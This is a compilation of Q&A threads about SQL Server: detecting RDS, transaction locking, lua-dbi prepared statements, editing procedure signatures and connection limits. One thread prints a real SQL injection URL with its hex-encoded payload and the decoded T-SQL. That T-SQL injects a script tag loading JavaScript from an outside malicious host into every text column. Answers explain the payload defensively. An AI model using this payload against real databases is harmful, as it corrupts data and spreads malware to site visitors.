Amazon RDS SQL Server: how to detect if it is RDS? - sql-server

I am trying to port my database to RDS. Need to do some changes because of restrictions.
Is it possible to detect inside script (stored procedure etc) that current database is in RDS?
Upd.
I use for the testing this way in my function:
if CHARINDEX(N'EC2AMAZ',(cast(serverproperty('ServerName') as nvarchar(256))))>0
return 1
else
return 0

I liked #xiani's approach, and decided to enhance it slightly (in the event a "normal" instance of SQL Server has an [rdsadmin] database).
DECLARE #IsAmazonRDS BIT = 0;
--1st test: does the [rdsadmin] database exist?
IF DB_ID('rdsadmin') IS NOT NULL
BEGIN
BEGIN TRY
--2nd test: If this is an Amazon RDS instance, we should not able to access the database "model" under the current security context.
DECLARE #FileCount INT;
SELECT #FileCount = COUNT(*) FROM model.sys.database_files;
END TRY
BEGIN CATCH
SET #IsAmazonRDS = 1;
--Comment/uncomment to verify the flag is set.
--SELECT 'Inside Catch';
END CATCH
END
This could be supplemented with 3rd, 4th, etc. additional checks based on whatever criteria you determine. Decide for yourself how far you want to take it.

It's not foolproof, and depends on the rdsadmin database (that AWS always seems to create) existing, but I use this:
SELECT CASE WHEN db_id('rdsadmin') IS NULL THEN 0 ELSE 1 END AS RDS_DATABASE;

I use this way in my function:
if CHARINDEX(N'EC2AMAZ',(cast(serverproperty('ServerName') as nvarchar(256))))>0
return 1
else
return 0
For now it works.

Related

How do I set the correct transaction level?

I am using Dapper on ADO.NET. So at present I am doing the following:
using (IDbConnection conn = new SqlConnection("MyConnectionString")))
{
conn.Open());
using (IDbTransaction transaction = conn.BeginTransaction())
{
// ...
However, there are various levels of transactions that can be set. I think this is the various settings.
My first question is how do I set the transaction level (where I am using Dapper)?
My second question is what is the correct level for each of the following cases? In each of these cases we have multiple instances of a web worker (Azure) service running that will be hitting the DB at the same time.
I need to run monthly charges on subscriptions. So in a transaction I need to read a record and if it's due for a charge create the invoice record and mark the record as processed. Any other read of that record for the same purpose needs to fail. But any other reads of that record that are just using it to verify that it is active need to succeed.
So what transaction do I use for the access that will be updating the processed column? And what transaction do I use for the other access that just needs to verify that the record is active?
In this case it's fine if a conflict causes the charge to not be run (we'll get it the next day). But it is critical that we not charge someone twice. And it is critical that the read to verify that the record is active succeed immediately while the other operation is in its transaction.
I need to update a record where I am setting just a couple of columns. One use case is I set a new password hash for a user record. It's fine if other access occurs during this except for deleting the record (I think that's the only problem use case). If another web service is also updating that's the user's problem for doing this in 2 places simultaneously.
But it's key that the record stay consistent. And this includes the use case of "set NumUses = NumUses + #ParamNum" so it needs to treat the read, calculation, write of the column value as an atomic action. And if I am setting 3 column values, they all get written together.
1) Assuming that Invoicing process is an SP with multiple statements your best bet is to create another "lock" table to store the fact that invoicing job is already running e.g.
CREATE TABLE InvoicingJob( JobStarted DATETIME, IsRunning BIT NOT NULL )
-- Table will only ever have one record
INSERT INTO InvoicingJob
SELECT NULL, 0
EXEC InvoicingProcess
ALTER PROCEDURE InvoicingProcess
AS
BEGIN
DECLARE #InvoicingJob TABLE( IsRunning BIT )
-- Try to aquire lock
UPDATE InvoicingJob WITH( TABLOCK )
SET JobStarted = GETDATE(), IsRunning = 1
OUTPUT INSERTED.IsRunning INTO #InvoicingJob( IsRunning )
WHERE IsRunning = 0
-- job has been running for more than a day i.e. likely crashed without releasing a lock
-- OR ( IsRunning = 1 AND JobStarted <= DATEADD( DAY, -1, GETDATE())
IF NOT EXISTS( SELECT * FROM #InvoicingJob )
BEGIN
PRINT 'Another Job is already running'
RETURN
END
ELSE
RAISERROR( 'Start Job', 0, 0 ) WITH NOWAIT
-- Do invoicing tasks
WAITFOR DELAY '00:01:00' -- to simulate execution time
-- Release lock
UPDATE InvoicingJob
SET IsRunning = 0
END
2) Read about how transactions work: https://learn.microsoft.com/en-us/sql/t-sql/language-elements/transactions-transact-sql?view=sql-server-2017
https://learn.microsoft.com/en-us/sql/t-sql/statements/set-transaction-isolation-level-transact-sql?view=sql-server-2017
You second question is quite broad.

How to use prepared statements in lua-dbi?

I want to use prepared statements in my lua scripts. As mentioned in my previous post, people recommend using lua-dbi. Unfortunately there is little documentation available. I just need a basic script that connects to the database with credentials, and use prepared statements (prefered with a bind function to names in the query). Anyone experienced with this?
You can find it on the project's wiki pages:
Establishing connection: https://code.google.com/p/luadbi/wiki/DBDDriverConnection
require('DBI')
-- Create a connection
local dbh = assert(DBI.Connect('Driver', db, username, password, host, port))
-- set the autocommit flag
-- this is turned off by default
dbh:autocommit(true)
-- check status of the connection
local alive = dbh:ping()
-- prepare a connection
local sth = assert(dbh:prepare(sql_string))
-- commit the transaction
dbh:commit()
-- finish up
local ok = dbh:close()
where, you'd update the part dbh:prepare as per your needs.

How to add a parameter to an existing stored procedure in SQL Server

I want to add a new parameter to an existing stored procedure. Body of this procedure may have been already customized by users so I can't drop and recreate it. I don't need to modify the body, just the signature.
So I thought to do a replacement of the last existing parameter by itself + the new parameter.
replace(OBJECT_DEFINITION (OBJECT_ID(id)),'#last_param varchar(max)=null','#last_param varchar(max)=null, #new_param varchar(max)=null')
It works fine if the following string is found
#last_param varchar(max)=null
but doesn't work if there is spaces in the string.
I would like to use a regex to be sure it works in all cases but I'm not sure it's possible in SQL Server.
Can you help me please ?
Thanks
SQL Server does not natively support regular expressions. You'll have to look at more manual string-analyzing with the available string functions. Something like this:
set #obDef = OBJECT_DEFINITION(OBJECT_ID(id))
set #startLastParam = PATINDEX('%#last_param%varchar%(%max%)%=%null%', #obDef)
if #startLastParam = 0 begin
-- handle lastParam not found
end else begin
set #endLastParam = CHARINDEX('null', #obDef, #startLastParam) + 4 -- 4 = len('null')
set #newDef = STUFF(#obDef, #endLastParam, 0, ', #new_param varchar(max)=null')
end
This isn't very fool-proof/safe though. PATINDEX() only gives you the same % wildcard you know from LIKE, it may match no character, it may match half the stored proc to find the word max somewhere entirely outside the signature.
So don't just run this in your customers production ;) but if you are certain about the current stored proc signature, this might just do the trick for you.

Attempted SQL injection attack - what are they trying to do?

I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no successful attacks, but a recent log showed an interesting technique:
Line breaks added for clarity
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20#S%20CHAR(4000);SET
#S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263
686172283430303029204445434C415245205461626C655F437572736F7220435552534F
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528
404046455443485F5354415455533D302920424547494E20657865632827757064617465
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(#S);&_X="
Can anyone shed light on what the "CAST and EXEC" is attempting to do?
Below is the decoded SQL that they were trying to push:
DECLARE #T varchar(255),
#C varchar(4000)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO #T,#C
WHILE(##FETCH_STATUS=0)
BEGIN exec('update ['+#T+'] SET ['+#C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+#C+'] WHERE '+#C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO #T,#C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
The code, when decyphered from hex into chars, seems to go through all your database tables, select all columns that are of text/char type, and at the end of each value of this type add a malicious script execution from http://www2.s800qn.cn/csrss/w.js. Now if in your website, you have at least one place where you don't escape text data retrieved from your database, your site's users will have this malicious script executed on their machines.
Run this, for example in mysql:
select CAST(0x44...72 AS CHAR(4000)) as a;
and you'll know. Ishmaeel pasted the code.
This is a SQLserver worm, not a targeted atatck.
I think we've had this attack before. It's trying to insert a <script> tag in every field in every table in the database.
It's an adware-dropper script, built to clog up your database with <script> tags that show up on your pages. It's encoded because most servers would explode if you tried to push that junk through the URL.
Most things like this are random-attempt-attacks in that they'll hit anything with a querystring but it might be a targeted attack. Test your site to make sure it's not letting any SQL from querystrings execute. Just using parametrised queries should cover you.
The simplest Python algorithm to decypher the hex code is this:
text = "4445434C415245204054207661726368617228323535292C404..."
def getText():
for i in range(0, len(text), 2):
byte = text[i:i+2]
char = int(byte, 16)
toPrint = chr(char)
yield toPrint
print ''.join(getText())

Sql Server 2005 Connection Limit

Is there a connection limit on Sql Server 2005 Developers Edition. We have many threads grabbing connections, and I know ADO.NET does connection pooling, but I get OutOfMemory exceptions. We take out the db connections and it works fine.
This is the response to that question on Euan Garden's (a Program Manager for Visual Studio Team Edition) blog:
There are no limits in terms of memory, db size or procs for DE, it is essentially Enterprise Edition.
There is however a licensing restriction that prevents it from being used in production.
Therefore, you probably just need to make sure you are closing your connection objects properly. The using block will be perfect for such a job...
You may not be closing or disposing of your connection objects correctly. Make sure your code looks something like this:
using (SqlConnection conn = new SqlConnection("connectionstring"))
{
conn.Open();
// database access code goes here
}
The using block will automatically close and dispose of your connection object.
32767 on Enterprise Edition
<ServerProductVersion>9.00.3235.00</ServerProductVersion>
<ServerProductLevel>SP2</ServerProductLevel>
<ServerEdition>Enterprise Edition</ServerEdition>
<ServerEngineEdition>3</ServerEngineEdition>
How I check...
CREATE FUNCTION [dbo].svfV1GetSessionAndServerEnvironmentMetaData
RETURNS xml
AS
BEGIN
-- Declare the return variable here
DECLARE #ResultVar xml
-- Add the T-SQL statements to compute the return value here
SET #ResultVar =
(
SELECT
##SPID as SPID,
##ProcID as ProcId,
##DBTS as DBTS,
getdate() as DateTimeStamp,
System_User as SystemUser,
Current_User as CurrentUser,
Session_User as SessionUser,
User_Name() as UserName,
Permissions() as UserSessionPermissionsBitmap,
Host_Id() as HostId,
Host_Name() as HostName,
App_Name() as AppName,
ServerProperty('ProcessId') as ServerProcessId,
ServerProperty('MachineName') as ServerMachineName,
ServerProperty('ServerName') as ServerServerName,
ServerProperty('ComputerNamePhysicalNetBIOS') as ServerComputerNamePhysicalNetBIOS,
ServerProperty('InstanceName') as ServerInstanceName,
ServerProperty('ProductVersion') as ServerProductVersion,
ServerProperty('ProductLevel') as ServerProductLevel,
##CONNECTIONS as CumulativeSqlConnectionsSinceStartup,
##TOTAL_ERRORS as CumulativeDiskWriteErrorsSinceStartup,
##PACKET_ERRORS as CumulativeNetworkPacketErrorsSinceStartup,
--Note:
--If the time returned in ##CPU_BUSY, or ##IO_BUSY exceeds approximately 49 days of cumulative CPU time,
--you receive an arithmetic overflow warning. In that case,
--the value of ##CPU_BUSY, ##IO_BUSY and ##IDLE variables are not accurate.
-- ##CPU_BUSY * ##TIMETICKS as CumulativeMicroSecondsServerCpuBusyTimeSinceStartup,
-- ##IO_BUSY * ##TIMETICKS as CumulativeMicroSecondsServerIoBusyTimeSinceStartup,
-- ##IDLE * ##TIMETICKS as CumulativeMicroSecondsServerIdleTimeSinceStartup,
ServerProperty('BuildClrVersion') as ServerBuildClrVersion,
ServerProperty('Collation') as ServerCollation,
ServerProperty('CollationID') as ServerCollationId,
ServerProperty('ComparisonStyle') as ServerComparisonStyle,
ServerProperty('Edition') as ServerEdition,
ServerProperty('EditionID') as ServerEditionID,
ServerProperty('EngineEdition') as ServerEngineEdition,
ServerProperty('IsClustered') as ServerIsClustered,
ServerProperty('IsFullTextInstalled') as ServerIsFullTextInstalled,
ServerProperty('IsIntegratedSecurityOnly') as ServerIsIntegratedSecurityOnly,
ServerProperty('IsSingleUser') as ServerIsSingleUser,
ServerProperty('LCID') as ServerLCID,
ServerProperty('LicenseType') as ServerLicenseType,
ServerProperty('NumLicenses') as ServerNumLicenses,
ServerProperty('ResourceLastUpdateDateTime') as ServerResourceLastUpdateDateTime,
ServerProperty('ResourceVersion') as ServerResourceVersion,
ServerProperty('SqlCharSet') as ServerSqlCharSet,
ServerProperty('SqlCharSetName') as ServerSqlCharSetName,
ServerProperty('SqlSortOrder') as ServerSqlSortOrder,
ServerProperty('SqlSortOrderName') as ServerSqlSortOrderName,
##MAX_CONNECTIONS as MaxAllowedConcurrentSqlConnections,
SessionProperty('ANSI_NULLS') as SessionANSI_NULLS,
SessionProperty('ANSI_PADDING') as SessionANSI_PADDING,
SessionProperty('ANSI_WARNINGS') as SessionANSI_WARNINGS,
SessionProperty('ARITHABORT') as SessionARITHABORT,
SessionProperty('CONCAT_NULL_YIELDS_NULL') as SessionCONCAT_NULL_YIELDS_NULL,
SessionProperty('NUMERIC_ROUNDABORT') as SessionNUMERIC_ROUNDABORT,
SessionProperty('QUOTED_IDENTIFIER') as SessionQUOTED_IDENTIFIER
FOR XML PATH('SequenceIdEnvironment')
)
-- Return the result of the function
RETURN #ResultVar
END
on my SQL Server database engine instance returns
<SequenceIdEnvironment>
<SPID>56</SPID>
<ProcId>1666821000</ProcId>
<DBTS>AAAAAAAAB9A=</DBTS>
<DateTimeStamp>2008-10-02T15:09:26.560</DateTimeStamp>
...
<CurrentUser>dbo</CurrentUser>
<SessionUser>dbo</SessionUser>
<UserName>dbo</UserName>
<UserSessionPermissionsBitmap>67044350</UserSessionPermissionsBitmap>
<HostId>3852 </HostId>
...
<AppName>Microsoft SQL Server Management Studio - Query</AppName>
<ServerProcessId>508</ServerProcessId>
...
<ServerProductVersion>9.00.3235.00</ServerProductVersion>
<ServerProductLevel>SP2</ServerProductLevel>
<CumulativeSqlConnectionsSinceStartup>169394</CumulativeSqlConnectionsSinceStartup>
<CumulativeDiskWriteErrorsSinceStartup>0</CumulativeDiskWriteErrorsSinceStartup>
<CumulativeNetworkPacketErrorsSinceStartup>0</CumulativeNetworkPacketErrorsSinceStartup>
<ServerBuildClrVersion>v2.0.50727</ServerBuildClrVersion>
<ServerCollation>SQL_Latin1_General_CP1_CI_AS</ServerCollation>
<ServerCollationId>872468488</ServerCollationId>
<ServerComparisonStyle>196609</ServerComparisonStyle>
<ServerEdition>Enterprise Edition</ServerEdition>
...
<ServerEngineEdition>3</ServerEngineEdition>
<ServerIsClustered>0</ServerIsClustered>
<ServerIsFullTextInstalled>1</ServerIsFullTextInstalled>
<ServerIsIntegratedSecurityOnly>0</ServerIsIntegratedSecurityOnly>
<ServerIsSingleUser>0</ServerIsSingleUser>
...
<ServerResourceLastUpdateDateTime>2008-03-12T18:59:08.633</ServerResourceLastUpdateDateTime>
<ServerResourceVersion>9.00.3235</ServerResourceVersion>
<ServerSqlCharSet>1</ServerSqlCharSet>
<ServerSqlCharSetName>iso_1</ServerSqlCharSetName>
<ServerSqlSortOrder>52</ServerSqlSortOrder>
<ServerSqlSortOrderName>nocase_iso</ServerSqlSortOrderName>
** <MaxAllowedConcurrentSqlConnections>32767</MaxAllowedConcurrentSqlConnections> **
<SessionANSI_NULLS>1</SessionANSI_NULLS>
<SessionANSI_PADDING>1</SessionANSI_PADDING>
<SessionANSI_WARNINGS>1</SessionANSI_WARNINGS>
<SessionARITHABORT>1</SessionARITHABORT>
<SessionCONCAT_NULL_YIELDS_NULL>1</SessionCONCAT_NULL_YIELDS_NULL>
<SessionNUMERIC_ROUNDABORT>0</SessionNUMERIC_ROUNDABORT>
<SessionQUOTED_IDENTIFIER>1</SessionQUOTED_IDENTIFIER>
</SequenceIdEnvironment>
Are the out of memory exceptions from the .NET? If the error was on the server you would probably see a connection refused message instead.

Resources